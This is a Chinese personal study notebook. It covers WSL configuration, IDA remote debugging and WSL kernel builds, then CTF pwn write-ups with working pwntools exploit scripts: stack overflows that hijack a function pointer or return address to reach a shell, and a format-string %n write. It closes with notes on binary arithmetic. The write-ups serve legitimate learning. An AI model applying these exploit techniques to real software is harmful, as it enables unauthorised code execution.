并且还有设置开关这些功能,我寻思多多益善吧,不冲突关他干啥呢

wsl执行linux命令

正常情况下,linux上的可执行程序.elf或者.out,在windows上是没法执行的.同理win上的.exe也无法在linux上执行

而wsl就提供了一种在windows上执行linux可执行目标文件的方法

1
2
3
4
5
6
7
8
9
10
11
用法: wsl.exe [参数] [选项...] [命令行]

运行 Linux 二进制文件的参数:

如果未提供命令行,wsl.exe 将启动默认 shell。

--exec, -e <命令行>
在不使用默认 Linux Shell 的情况下执行指定的命令。

--
按原样传递其余命令行。

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\Users\86135\Desktop\pwn> ls -l
Get-ChildItem : 缺少参数“LiteralPath”的某个参数。请指定一个类型为“System.String[]”的参数,然后再试一次。
所在位置 行:1 字符: 4
+ ls -l
+ ~~
+ CategoryInfo : InvalidArgument: (:) [Get-ChildItem],ParameterBindingException
+ FullyQualifiedErrorId : MissingArgument,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\Users\86135\Desktop\pwn> wsl ls -l
total 108
drwxrwxrwx 1 kali kali 4096 Jun 2 19:52 CGfsb
drwxrwxrwx 1 kali kali 4096 May 19 23:14 cgpwn
drwxrwxrwx 1 kali kali 4096 Jun 20 09:55 dice_game
drwxrwxrwx 1 kali kali 4096 Jun 19 23:09 forgot
drwxrwxrwx 1 kali kali 4096 May 11 17:45 get_shell
drwxrwxrwx 1 kali kali 4096 May 20 09:28 guess_num
drwxrwxrwx 1 kali kali 4096 May 11 09:51 hello_pwn
drwxrwxrwx 1 kali kali 4096 May 20 08:45 int_overflow
drwxrwxrwx 1 kali kali 4096 May 11 17:38 level0
drwxrwxrwx 1 kali kali 4096 May 11 21:08 level2
drwxrwxrwx 1 kali kali 4096 Jun 3 16:27 level3
drwxrwxrwx 1 kali kali 4096 Jun 21 10:30 mytest
-rwxrwxrwx 1 kali kali 84286 Jun 3 16:10 pwn.md
drwxrwxrwx 1 kali kali 4096 Jun 19 23:38 reactor
drwxrwxrwx 1 kali kali 4096 Jun 20 00:28 realtime
drwxrwxrwx 1 kali kali 4096 Jun 20 10:06 stack2
drwxrwxrwx 1 kali kali 4096 Jun 3 10:56 string
drwxrwxrwx 1 kali kali 4096 May 29 16:03 testPIE

在输入wsl ls -l命令之后终端等了好长时间去了,推测是启动子系统去了.

估计这个过程就是在子系统上运行了ls -l命令之后,将结果反馈给powershell,然后powershell打印到屏幕上

高级配置

wsl上两个配置文件wsl.conf .wslconfig

微软给出的这两个文件的描述

wsl.conf

  • 作为 unix 文件存储在 /etc 分发目录中。
  • 用于按分布配置设置。 在此文件中配置的设置将仅应用于包含存储此文件的目录的特定 Linux 分发版。
  • 可用于版本、WSL 1 或 WSL 2 运行的分发版。
  • 若要访问已安装的发行版的 /etc 目录,请使用发行版的命令行和 cd / 访问根目录,然后使用 ls 列出文件或使用 explorer.exe . 在 Windows 文件资源管理器中查看。 目录路径应如下所示: /etc/wsl.conf

.wslconfig

  • 存储在 %UserProfile% 目录中。
  • 用于全局配置作为 WSL 2 版本运行的所有已安装 Linux 分发版的设置。
  • 仅适用于 WSL 2 运行的分发版。 作为 WSL 1 运行的分发版不会受到此配置的影响,因为它们未作为虚拟机运行。
  • 要访问 %UserProfile% 目录,请在 PowerShell 中使用 cd ~ 访问主目录(通常是用户配置文件 C:\Users\<UserName>),或者可以打开 Windows 文件资源管理器并在地址栏中输入 %UserProfile%。 目录路径应如下所示: C:\Users\<UserName>\.wslconfig

这两个文件在默认情况下是不存在的,只有我们需要修改wsl的参数时,才需要在相应位置建立这么一个文件.

wsl再启动时就会考虑这些文件里的规定了

wsl.conf放在子系统里

.wslconfig放在主系统里.

在使用wmware的时候,我们可以自由决定虚拟机占用多大内存,最多使用多少个处理器,这就是.wslconfig的作用

在修改之前,首先在wsl上观察一下处理器数量

1
2
3
┌──(root㉿Executor)-[/mnt/c/Users/86135]
└─# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
16 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz

wsl显示有16个,现在修改.wslconfig给他改成8个

观察一下总内存大小

1
2
3
┌──(root㉿Executor)-[/mnt/c/Users/86135]
└─# cat /proc/meminfo | grep MemTotal
MemTotal: 16262436 kB

现在修改.wslconfig文件,调整上面两个值

C:\Users\86135\.wslconfig

1
2
3
4
5
6
7
8
# Settings apply across all Linux distros running on WSL 2
[wsl2] #正文第一行必须是[wsl2]这种标记

# Limits VM memory to use no more than 4 GB, this can be set as whole numbers using GB or MB
memory=4GB #限制内存最大4G

# Sets the VM to use two virtual processors
processors=8 #设置8个处理器

调整后保存,子系统重启,再打印观察

1
2
3
4
5
6
7
┌──(root㉿Executor)-[~]
└─# cat /proc/meminfo | grep MemTotal
MemTotal: 4017200 kB

┌──(root㉿Executor)-[~]
└─# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
8 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz

发现刚才的修改确实奏效了

换下载源

首先备份原来的源

1
2
┌──(root㉿Executor)-[~]
└─# mv /etc/apt/sources.list /etc/apt/sources.list.bak

将该文件修改为阿里云的源

1
2
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

修改之后可以apt update看看成功没

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿Executor)-[~]
└─# vim /etc/apt/sources.list

┌──(root㉿Executor)-[~]
└─# apt update
Get:1 https://mirrors.aliyun.com/kali kali-rolling InRelease [30.6 kB]
Get:2 https://mirrors.aliyun.com/kali kali-rolling/main Sources [14.7 MB]
Get:3 https://mirrors.aliyun.com/kali kali-rolling/non-free Sources [128 kB]
Get:4 https://mirrors.aliyun.com/kali kali-rolling/contrib Sources [73.1 kB]
Get:5 https://mirrors.aliyun.com/kali kali-rolling/main amd64 Packages [18.4 MB]
Get:6 https://mirrors.aliyun.com/kali kali-rolling/non-free amd64 Packages [213 kB]
Get:7 https://mirrors.aliyun.com/kali kali-rolling/contrib amd64 Packages [116 kB]
Fetched 33.6 MB in 22s (1,505 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
257 packages can be upgraded. Run 'apt list --upgradable' to see them.

设置代理

找个好地方vim bash_profile

1
2
export http_proxy=http://172.25.144.1:7891/
export https_proxy=http://172.25.144.1:7891/

这里172.25.144.1是我windows本机的wsl网卡地址,这玩意儿可以在/etc/resolv.conf查看

1
2
3
4
5
6
┌──(root㉿Executor)-[/home]
└─# cat /etc/resolv.conf
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateResolvConf = false
nameserver 172.25.144.1

端口号为啥是7891呢,因为我本机clash在7891上开的代理端口

注意clash开允许局域网,系统代理

image-20240321233234943

写完了bash_profile之后保存退出,然后source bash_profile

这样对于本终端就已经更换了代理,重新开机或者打开其他终端都没有此设置

wsl迁移

kali-linux迁移前的C卷大小

image-20220716102545759

由于我想为kali安装一个xfce桌面,KDE桌面很大,又要剥削压迫C卷,于是就像把wsl搬到D卷

先用安装了python3的ubuntu20.04LTS做了一个实验,结果迁移后的ubuntu还是有python3的,这意味着以前的修改都会保留

kali-linux迁移过程:

1.wsl关机

1
wsl --shutdown

2.选好目的地

我将D:,加一个wsl父目录是因为,同父目录下还有D:,将powershell的当前工作目录调整到D:

1
2
3
4
5
PS D:\wsl\kali> pwd

Path
----
D:\wsl\kali

3.选择需要导出的子系统

使用wsl -l指令列出所有已经注册的子系统名

1
2
3
4
PS D:\wsl\kali> wsl -l
适用于 Linux 的 Windows 子系统分发版:
kali-linux (默认)
ubuntu

4.导出kali-linux.tar

1
wsl --export <子系统名> <tar包路径>
1
PS D:\wsl\kali> wsl --export kali-linux ./kali.tar

本条命令的意义是,将名为kali-linux的子系统,导出到当前工作目录下的kali.tar中

5.卸载本来安装在C卷的kali-linux

1
wsl --unregister <子系统名>
1
2
PS D:\wsl\kali> wsl --unregister kali-linux
正在注销...

6.导入迁移到D卷的kali-linux

1
wsl --import <子系统名> <子系统安装路径> <tar包路径>
1
PS D:\wsl\kali> wsl --import kali-linux . ./kali.tar

本条命令的意义是,从当前目录的kali.tar包导入子系统到当前目录,子系统名叫kali-linux

7.验证导出成功

终端启动kali成功

image-20220716103913136

虽然迁移kali只给C省出了3G的磁盘空间...

image-20220716103955718

但是可以放心安装桌面了

安装桌面

在此之前需要保证wsl升级到wsl2,换下载源到阿里云(如果梯子流量管够忽略)

安装Win-KeX

Win-KeX是windows为kali专门提供的桌面体验,具有以下功能

  • 窗口模式:在专用窗口中启动Kali Linux桌面
  • 无缝模式:在Windows和Kali应用程序和菜单之间共享Windows桌面
  • 声音支持
  • 无特权和根会话支持
  • 共享剪贴板,可在Kali Linux和Windows应用之间进行剪切和粘贴支持
  • 多会话支持:根窗口和非私有窗口以及无缝会话同时进行

安装之前先apt update更新一下

之后安装Win-KeX

1
apt install -y kali-win-kex

安装可能很慢...但是速度是百度云盘两倍(比烂是吧)

image-20220716104931612

安装完成后在kali上使用kex命令,输入一些密码之后,就可以使用xfce桌面了

image-20220716114030667

在kex中使用F8键可以选择桌面以windows窗口运行还是全屏运行,

全屏时就和真的kali系统没有区别了,所有键鼠命令都会被kali捕获,不会发往windows

F8的fullscreen可以设置窗口或者全屏模式

完整everything

一开始安装的子系统只是最小安装,只安装了一个系统,各种武器都没有安装

kali子系统完整安装

1
apt install kali-linux-everything

大约有20个G,还是在学校wifi环境下安装吧,使用流量划不来

ida+wsl远程调试

终于会动态调试了

但是windows上的IDA似乎只能用local windows debugger,其他的各种各样的设置看了就烦

今天终于不厌其烦试了试IDA+remote linux debugger在ida上调试elf文件

终于调通了

需要ida,wsl

remote linux debugger

win11+wsl kali+ida

IDA-<version>/dbgsrv/这个目录下面有调试需要使用的文件

image-20220901163211166

如果要使用linux远程调试elf文件,需要linux_server和linux_server64两个文件,把他俩复制到kali的文件系统中去

1
2
3
4
┌──(root㉿Executor)-[/home/kali]
└─# ls -l | grep linux
-rwxrwxrwx 1 root root 783792 Jan 1 2021 linux_server
-rwxrwxrwx 1 root root 735376 Jan 1 2021 linux_server64

cd 到该目录下,修改其权限

可以使用--help看linux_server的用法

1
chmod 777 linux_server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿Executor)-[/home/kali]
└─# ./linux_server --help
IDA Linux 32-bit remote debug server(ST) v7.5.26. Hex-Rays (c) 2004-2020
Usage: linux_server [options]
-p ... (--port-number ...) Port number
-i ... (--ip-address ...) IP address to bind to (default to any)
-s (--use-tls) Use TLS
-c ... (--certchain-file ...) TLS certificate chain file
-k ... (--privkey-file ...) TLS private key file
-v (--verbose) Verbose mode
-P ... (--password ...) Password
-k (--on-broken-connection-keep-session) Keep debugger session alive when connection breaks
-K (--on-stop-kill-process) Kill debuggee when closing session

执行linux_server

1
2
3
4
┌──(root㉿Executor)-[/home/kali]
└─# ./linux_server
IDA Linux 32-bit remote debug server(ST) v7.5.26. Hex-Rays (c) 2004-2020
Listening on 0.0.0.0:23946...

此时kali已经在监听其23946端口了

现在用ida打开一个32位elf程序,F9或者点击Debugger下拉菜单,选择调试器Remote Linux debugger

image-20220901163954709

然后调试运行(ida默认也是访问远程主机的23946端口,如果不是则这里肯定联不通,ida会让重新设置端口的)

必然会报错找不到输入文件,

image-20220901164111650

一看报错信息,原来输入文件是从远程linux上找的,当然找不到

OK之后ida提供了替代方案

image-20220901164214375

点这个Use found就可以使用本机的C:\Users\86135\Desktop\malloc\main作为输入文件了

但是调试界面刚出来又没了,原来是忘记下断点了

在main函数(或者其他地方)下断点,然后重新调试运行,可以调试了

image-20220901164532437

甚至可以使用F5反汇编,显然是linux上的光棍儿gdb做不到的

remote gbd debugger

既然linux上也有gdb,那么是不是也可以用远程gdb调试呢?确实能调通,安一个gdbserver剩下的随便拾到拾到就行了

1
apt install gdbserver

/usr/src/WSL2-Linux-Kernel-linux-msft-wsl-5.15.137.3/arch/x86/boot/bzImage

编译内核

如果用普通的linux内核直接编译,然后给wsl换这个普通内核,这样wsl起不来

编译wsl内核需要有专门的config文件

内核源码可以用原版的,比如到这里下载Index of /pub/linux/kernel/v5.x/

以5.8.13为例,

1
2
3
wget https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.8.13.tar.gz
tar -xzf linux-5.8.13.tar.gz
cd linux-5.8.13

然后在内核源码的根目录下

1
2
3
mkdir Microsoft
cd Microsoft
vim config-wsl

这玩意儿可以抄WSL2-Linux-Kernel/Microsoft/config-wsl at wsl-xyb-port-5.8.y-latest · xieyubo/WSL2-Linux-Kernel · GitHub,注意版本,5.8的内核就得抄5.8的config_wsl,直接复制粘贴

可以修改其中的CONFIG_LOCALVERSION,改成自定义内核名称后缀

完事之后退到内核源码根目录下

1
make KCONIFG_CONFIG=./Microsoft/config-wsl -j`nproc`

编译完了之后会生成./arch/x86/boot/bzImage,这就是可以引导的内核

可以安装头文件

1
make modules_install

更换内核

默认配置

如果没有在~/.wslconfig中修改内核位置,那么可以这样整:

编译内核完成后,将生成的bzImage可引导镜像放到本机的C:\Windows\System32\lxss\tools这个位置

wsl --shutdown

C:\Windows\System32\lxss\tools中,将之前的内核镜像kernel改个名,比如oldkernel

然后将刚搬过来的bzImage改成kernel

重启wsl

uname -a查看当前内核版本

1
2
3
┌──(root㉿Executor)-[/home/dustball/kernelROP/mydev]
└─# uname -a
Linux Executor 5.8.13-dustland #1 SMP Sun Mar 24 13:56:15 CST 2024 x86_64 GNU/Linux

指定kernel位置

比如在windows的~/.wslconfig中这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Settings apply across all Linux distros running on WSL 2
[wsl2]
kernel=C:\\opt\\kernel
# Limits VM memory to use no more than 4 GB, this can be set as whole numbers using GB or MB
memory=4GB #限制内存最大4G

# Sets the VM to use two virtual processors
processors=8 #设置8个处理器

# vmSwitch=vEthernet

# networkingMode=bridged
# vmSwitch=WSL
# ipv6=true

这就指定了wsl内核使用c:\\opt\\kernel

编译内核模块

需要更滑内核

编译内核模块需要内核头文件,

如果已经编译过wsl内核,并且make modules_install && make install,那么就可以直接编译内核模块了

如果没有编译过内核,需要先编译内核

假设内核模块hello.c这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// hello.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>

MODULE_LICENSE("GPL");

static int __init mod_init(void)
{
printk(KERN_ALERT "Hello world\n");
return 0;
}

static void __exit mod_exit(void)
{
printk(KERN_ALERT "Goodbye\n");
}

module_init(mod_init);
module_exit(mod_exit);

它的Makefile这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Makefile
KDIR = /lib/modules/5.15.137.3/
TARGETNAME = hello
OBJ = $(TARGETNAME).o
MODULE = $(TARGETNAME).ko
obj-m += $(OBJ)

all:
make -j $(nproc) -C $(KDIR)/build M=$(PWD) modules

install:
@modprobe -r $(TARGETNAME)
@install $(MODULE) $(KDIR)3/kernel/drivers/hid
@depmod
@modprobe $(TARGETNAME)
clean:
make -C $(KDIR)/build M=$(PWD) clean

KDIR这个自己写,通常是/lib/modules/$(shell uname -r)

1
make

之后在当前目录下生成hello.ko

加载到内核

1
insmod hello.ko

xctf-攻防世界-pwn高手村

forgot (On2022.6.19)

image-20220619234811216

checksec

1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/forgot]
└─$ checksec forgot
[*] '/mnt/c/Users/86135/Desktop/pwn/forgot/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

没有金丝雀,没有地址随机化.

只有堆栈不可执行保护

Strings视图

image-20220619191536296

cat,flag字样,前往其所在的函数看看

1
2
3
4
5
6
7
int sub_80486CC()
{
char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF

snprintf(s, 0x32u, "cat %s", "./flag");
return system(s);
}

显然只需要调用该函数就可以获取flag,该函数的起始地址是0x80486CC,然而该函数的Function calls视图中没有调用者,即对该函数的调用要通过站缓冲区溢出修改函数返回地址实现

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h] BYREF
_DWORD v3[10]; // [esp+30h] [ebp-54h]
char s[32]; // [esp+58h] [ebp-2Ch] BYREF
int v5; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

v5 = 1;
v3[0] = sub_8048604;//sub_8048604是一个函数,这里没写函数括号,说明v3[0]只是存放函数地址,并不调用函数
v3[1] = sub_8048618;
v3[2] = sub_804862C;
v3[3] = sub_8048640;
v3[4] = sub_8048654;
v3[5] = sub_8048668;
v3[6] = sub_804867C;
v3[7] = sub_8048690;
v3[8] = sub_80486A4;
v3[9] = sub_80486B8;//该函数打印了"You just made it. But then you didn't!",看样子是目标函数
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(s, 32, stdin);
sub_80485DD(s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);//将sub_8048654函数的地址打印出来
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);//scanf获取输入,存在栈缓冲区溢出,v2可以溢出
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v5 )
{
case 1:
if ( sub_8048702(v2[i]) )//会根据v2[i]来决定会不会修改v5
v5 = 2;
break;
case 2:
if ( v2[i] == 64 )
v5 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v5 = 4;
break;
case 4:
if ( v2[i] == 46 )
v5 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v5 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v5 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v5 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v5 = 9;
break;
case 9:
v5 = 10;
break;
default:
continue;
}
}
((void (*)(void))v3[--v5])();//使用函数指针调用函数,显然要通过该函数指针执行sub_80486CC函数
return fflush(stdout);
}

循环中出现过的三个判断函数

1
2
3
4
5
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
//a1是小写字母或者阿拉伯数字或者[ - + .其中之一就返回true,否则false
}
1
2
3
4
5
_BOOL4 __cdecl sub_804874C(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95;
//a1是小写字母或者阿拉伯数字或者[ 其中之一就返回true,否则false
}
1
2
3
4
5
_BOOL4 __cdecl sub_8048784(char a1)
{
return a1 > 96 && a1 <= 122;
//a1是小写字母就返回true,否则false
}

main栈帧

1
2
3
4
5
6
7
8
9
10
-00000074 v2              db 32 dup(?)
-00000054 v3 db 40 dup(?)
-0000002C s db 32 dup(?) ; string(C)
-0000000C v5 dd ?
-00000008 i dd ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

v2在栈底,其上的所有东西都可以溢出

v3就是函数指针那一伙子数组

((void (*)(void))v3[--v5])();这里,v5会经过前面的一系列循环判断被修改.

我们的想法是,将0x80486CC溢出到v3[0]这么一个固定地址,方便最后的((void (*)(void))v3[--v5])();执行它

那么还需要保证v5一开始为1(这个程序一开始设定好了)并且后来一直不被改变.

但是有个规律是,只有循环中三个判断函数返回true时v5才会被修改,如果判断函数都返回false则显然v5不会被修改.

又这三个判断函数只会对 a1是小写字母或者阿拉伯数字或者[ - + .这几种情况返回true,那么如果能够将v2[i]溢出成除了这些字符之外的字符就可以绕过判断,保证v5=1,如此最终出循环的时候,((void (*)(void))v3[--v5])();就相当于((void (*)(void))v3[0])();,执行固定的函数

现在问题转化为如何保证v2数组满足上述条件,显然v2就是我们要输入的,这个自然可以满足,输入32个问号?或者32个大写字母均可

还要解决的是溢出v3[0]的问题

v3[0]是一个四字32位,并且v3紧挨着v2,显然当v2写满了,紧接着就溢出v3了

因此exp可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process('./forgot')

sh.recv()

sh.sendline('vader')

sh.recv()

payload=('A'*32).encode()+p32(0x080486cc)

sh.sendline(payload)

sh.interactive()

或者,反正v5总是落在1到10范围内,最后((void (*)(void))v3[--v5])();反正是执行的v3函数指针数组的其中一项,那么直接把v3数组的每一项都溢出成0x80486CC,这样就不用关心v5的值是多少了,也就是不用绕过判断函数了

因此exp还可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process('./forgot')

sh.recv()

sh.sendline('vader')

sh.recv()

payload=('?'*32).encode()+p32(0x080486cc)*10 #由于不用关心v5,因此v2数组也不用关心了

sh.sendline(payload)

sh.interactive()

flag

最终得到flag

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/forgot]
└─$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 51086: Done
/mnt/c/Users/86135/Desktop/pwn/forgot/exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
sh.sendline('vader')
[*] Switching to interactive mode
I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate
> cyberpeace{4edfc4922cff2900b97255284e605051}
[*] Got EOF while reading in interactive

错误想法

错误1

在循环伊始

1
2
3
4
5
6
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
....

首先用v0=i然后让v0和strlen(v2)作比较,如果v0很大则直接跳过循环

我一开始想用溢出v0跳过循环保持v5=1不变

由于v0=i因此我想让i溢出成很大的值然后v0获得其拷贝也是个大数

于是得到了这样的payload:

1
payload=('a'*32).encode()+p32(0x080486cc)+('a'*0x48).encode()+p32(0x7fffffff)

前32个字符随便写填满v2,反正不会进入循环

然后v3的第一个四字溢出成0x80486cc这个函数地址

然后[ebp-0x50,ebp-0x8)这78个字符都随便溢出,

然后i溢出成最大正数0x7fffffff

结果这样打不通

原因是,for ( i = 0; ; ++i )在循环一开始 的时候有一个i=0这个是在代码段里的,这打死也改不了

也就是在执行到这里的时候,我们的payload变成了

1
payload=('a'*32).encode()+p32(0x080486cc)+('a'*0x48).encode()+p32(0x0)

i改了也白改,因为v2获取输入发生在循环之前,进入循环的时候又要i=0初始化循环变量

错误2

那么此时把前32个字符改成'A'企图用老方法绕过每次判断函数还可以吗?也不行

因为('a'*0x48)这里我们已经把v5溢出成a(ascii码为97)了,最后出了循环的时候执行的是((void (*)(void))v3[96])();显然这对于v3指针数组来说已经访问越界了

错误3

直接不管main函数的所有逻辑,溢出main的返回地址,改成0x80486cc可以吗

即payload这样写:

1
payload=('a'*0x78).encode()+p32(0x80486CC)

前面0x78个字节啥也不管全都乱写,最后返回地址r溢出成0x80486CC

这样写也不行,因为中间将v3那个指针数组溢出毁了,所有的指针都指向0x97这个位置,而这个位置显然不在程序的虚拟地址空间里面(本程序的虚拟地址空间从0x08048000开始).这个位置指的是谁呢?我反正不知道,也不想知道.反正发生了段错误.还没等到main函数返回时程序就因为段错误结束运行了

反应釜开关控制

image-20220619233350713
1
2
3
4
5
PS C:\Users\86135\Desktop\pwn\reactor> checksec reactor      [*] 'C:\\Users\\86135\\Desktop\\pwn\\reactor\\reactor'           Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有一个shell函数

1
2
3
4
int shell()
{
return system("/bin/sh");
}

但是没有调用者,需要溢出主函数的返回地址,改成shell的地址4005F6

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-240h] BYREF
char v5[512]; // [rsp+40h] [rbp-200h] BYREF

write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(s, "%p\n", easy);
write(1, s, 9uLL);
write(1, ">", 2uLL);
gets(v5);//此处存在栈缓冲区溢出攻击
return 0;
}

main函数栈帧

1
2
3
4
5
-0000000000000200 v5              db 512 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

前512+8=520个字节随便溢出

后面八个字节溢出成shell函数的地址0x4005F6

属实有点儿弱智了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh=process('./reactor')

sh.recv()

payload=(520*'a').encode()+p64(0x4005f6);

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/reactor]
└─$ python3 exp.py
[+] Starting local process './reactor': pid 44
[*] Switching to interactive mode
$ whoami
kali

cyberpeace{a6053fab9ffe26d2ddc53ce7f78e08be}

实时数据监测

1
2
3
4
5
6
7
8
9
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime]
└─$ checksec realtime
[*] '/mnt/c/Users/86135/Desktop/pwn/realtime/realtime'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

主函数只调用了一共locker函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int locker()
{
int result; // eax
char s[520]; // [esp+0h] [ebp-208h] BYREF

fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 )//如果key=3579576=0x2223322,看来需要溢出改变
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}

关键函数在imagemagic(s);

1
2
3
4
int __cdecl imagemagic(char *format)
{
return printf(format);
}

存在printf格式化字符串漏洞,format来自locker中的s,s来自stdin键盘输入,长度512个字节,足够写入负载了

首先要确定printf时,格式化字符串参数在栈上什么地方

1
2
3
4
5
6
7
8
9
from pwn import *

sh=process("./realtime")

payload=("AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p").encode()

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
7
8
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime]
└─$ python3 exp.py
[+] Starting local process './realtime': pid 77
[*] Switching to interactive mode
[*] Process './realtime' stopped with exit code 0 (pid 77)
AAAA-0xf7f5ace0-0xff8a6a84-(nil)-0x1-0x80483a0-0xff8a6a28-0x80484e7-0xff8a6820-0x200-0xf7f2b580-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻
[*] Got EOF while reading in interactive

0x41414141是栈上第12个参数,现在可以用key的地址0x804A048替代AAAA,然后用payload=p32(0x0804A048)+('%035795742c%12$n').encode()4+035795742写到第12个参数上

1
2
3
4
5
6
7
8
9
from pwn import *

sh=process("./realtime")

payload=p32(0x0804A048)+('%035795742c%16$n').encode()

sh.sendline(payload)

sh.interactive()

运行之后终端上会输出035795746个空格,需要等好长好长时间,才轮到我们与终端交互

有没有温柔一些的方法呢?

机器级算术运算的原理

落脚在加法,全加器,半加器,全加器级联,等最基础的知识

机器在算术的时候有很多行为和人不一样,但是权位的思想是相同的

人在算术的时候通过列竖式对其的方式,隐含着权位规则.

机器将权位规则体现在,随着运算会有中间结果的位移

理解了机器将中间结果移位的原因,也就理解了机器级算术运算的原理

计组第三章讲的机器机计算方法实际上和程序员距离比较远,ALU中已经封装好了各种计算方法,那为什么还要我们学这一部分呢?

我的感觉让我们是理解计算机底层实现中的状态机思想,

在推导适应机器的算法时,越发感觉出,有固定的状态的转移套路

而这种思想将对我们在开发状态机服务端的时候提供世界观上的支持

然而课本对于该部分的介绍基本止步于如何计算,并没有下到算法如何设计得到的,可以说是一大遗憾.

现在将我的设计和课本给出的设计思想其补上

手算原码乘法

这是万恶之源,通过一个例题观察人类对权位规则的应用

image-20220617122401353

之前一直不知道怎么描述这个过程,只能是手写比划比划,直到看了CSAPP第二章位向量表示法,终于知道怎么描述这个过程了

只看小数点后面的部分,把\(X,Y\)表示成位向量,有 \[ X=[X_3X_2X_1X_0]=\sum_{i=0}^3[2^i\times X_i](X_i=0\ or\ 1) \]

\[ Y=[Y_3Y_2Y_1Y_0]=\sum_{i=0}^3[2^i\times Y_i](Y_i=0\ or\ 1) \]

那么手算的思想可以用下式表示: \[ \begin{aligned} ANS&=X\times Y\\ &=X\times\sum_{i=0}^3[2^i\times Y_i]\\ &=\sum_{i=0}^3[ 2^i\times X\times Y_i]\\ &=[X\times Y_0]+2[X\times Y_1]+4[X\times Y_2]+8[X\times Y_3]\\ &=A_0+A_1+A_2+A_3\\ &=E\\ &=[E_3E_2E_1E_0] \end{aligned} \] 其中 \[ A_i=2^i\times [X\times Y_i],i\in[0,3] \]

\[ E_j=\sum_{i=0}^3A_{ij}+低位进位\\ j\in[0,7]\ \] image-20220616210922544

这里\(E_i\)的计算方法就是小学里算竖式的时候,老师常说的"落下来"

从图上我们可以更清晰地看出,被乘数分别和乘数的"个十百千位"相乘,按位对其之后落下来累加得到E

原码一位乘法

如果让机器原封不动重复刚才手算的过程

替机器瞎操心

